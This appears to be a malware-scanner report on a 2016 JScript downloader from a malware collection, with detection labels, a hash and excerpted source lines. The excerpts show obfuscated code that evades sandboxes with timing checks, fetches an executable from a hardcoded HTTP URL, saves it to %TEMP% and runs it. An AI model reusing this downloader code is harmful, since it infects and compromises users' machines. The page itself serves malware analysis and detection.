Hostile ^100% javascript-malware-collection Download

20160328_f6b4d3ff63975a6c0204fa362a83856f.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-256775bd49acc477044eb1a40925e1c24eabee2f1d610e5393590224ee3ead7dfb1

Evidence

UTC millisecond jitter sleep check lines 1–36

1var Lzfnr = false;
2var Gbqjjv = "CreateObject";
3var Rcnhcgzyrz = function Unkrczyahc() {return WScript[Gbqjjv]("WScript.Shell");}();
4var Jvreiw = 123213;
5var Iyhmqs = "MSXML2.XMLHTTP";
6var Spesegyv = 2123213;
7var Scubtaclsx = 0;
8function Njgrbuzxu(Xyxshceb){Rcnhcgzyrz["Run"](Xyxshceb, Scubtaclsx, Scubtaclsx);};
9function Ykngibp(){return Iyhmqs;};
10function Nckhzsjuvs(Haigyeneyl, Metkpu){return Haigyeneyl - Metkpu;};
11function Wjpyxqytrb(){return Gbqjjv;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Lzfnr = true;
15  @end
⋯6 lines
22function Yisiiof()
23{
24var Nyaazu = new this["Date"]();
25var Hgemerj = Nyaazu["getUTCMilliseconds"]();
26WScript["Sleep"](Rvpnwwy());
27var Nyaazu = new this["Date"]();
⋯9 lines

English function-word token "for" lines 37–42

37:39… 
38}
39var Pauomuw = false;
40var Zwsdazg = false;
41for (var Qvibjcf = Scubtaclsx; Qvibjcf < Rvpnwwy() * 1; Qvibjcf++){if (Yisiiof() != Scubtaclsx){
42Pau …

Contains a hardcoded insecure HTTP URL lines 49–63

49:2… f (Pauomuw && Cxnjgj() && Zwsdazg){
50function Jdtsnmk() {return Rcnhcgzyrz["ExpandEnvironmentStrings"]("%TEMP%/") + "sUcwuOseOqD.exe";};
51 Uwgqncv = Ykngibp();
52 Znsgruson = WScript[Gbqjjv](Uwgqncv);
53 var Fsoperqb = 1;
54 while (Fsoperqb){
55try {
56Znsgruson[Lkkccjhuzs]("GET", "http://www.europaklasse-lbk.de/p4iska", false);
57Znsgruson["send"]();
58Xuzzig = "Sleep";
59do {WScript[Xuzzig](Rvpnwwy() * 11)} while (Znsgruson["readystate"] < 4 );
60Fsoperqb = Scubtaclsx;
61} catch(Dulbyfvqpf){Fsoperqb = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Brznd(Lzveqjy) {var Un …

Calls computed member from function result lines 63–75

63:43… , 2, 3, 4, 5, Lzveqjy); return Unodhpfu;};
64Ychlroizxa = WScript[Wjpyxqytrb()]("ADODB.Stream");
65Uwgqncv = Ychlroizxa;
66Uwgqncv[Lkkccjhuzs]();
67Uwgqncv["type"] = Brznd(1);
68Uwgqncv["write"](Znsgruson["ResponseBody"]);
69Ychlroizxa["position"] = Brznd(Scubtaclsx);
70Uwgqncv["SaveToFile"](Jdtsnmk(), Brznd(2) );
71Ychlroizxa["close"]();
72Njgrbuzxu(Jdtsnmk());
73}
74}
75